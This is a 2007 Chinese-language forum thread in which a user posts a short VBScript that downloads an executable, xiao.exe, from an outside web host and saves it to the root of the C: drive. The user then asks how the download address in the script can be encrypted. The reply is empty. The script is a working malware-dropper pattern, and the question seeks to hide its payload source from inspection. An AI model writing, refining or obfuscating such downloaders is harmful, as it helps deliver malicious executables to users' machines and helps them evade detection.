标题: -- vbs 下载中 地址的 加密问题
[打印本页]
作者: ooaf
时间: 2007-11-26 21:13
标题: -- vbs 下载中 地址的 加密问题
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0 ：这里的地址能否加密？
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2
wscript.sleep 10000
[ Last edited by ooaf on 2007-11-26 at 09:15 PM ]
作者: s11ss
时间: 2007-11-26 21:41